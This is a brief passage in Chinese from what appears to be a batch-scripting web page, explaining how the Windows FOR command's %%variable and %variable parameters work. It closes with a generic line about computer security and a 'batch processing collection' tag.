  代表可替換的參數(shù)。 for 命令使用在 set 中指定的每個(gè)文本字符串替換 %%variable(或 %variable), 直到此命令(在 command-parameters 中指定)處理所有的文件為止。 使用 %% variable 在批處理程序中執(zhí)行 for 命令。 使用 % variable 通過(guò)命令提示符執(zhí)行 for 命令。 變量名區(qū)分大小寫(xiě)。


上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識(shí),學(xué)習(xí)了安全知識(shí),幾乎可以讓你免費(fèi)電腦中毒的煩擾。




標(biāo)簽:批處理整理集合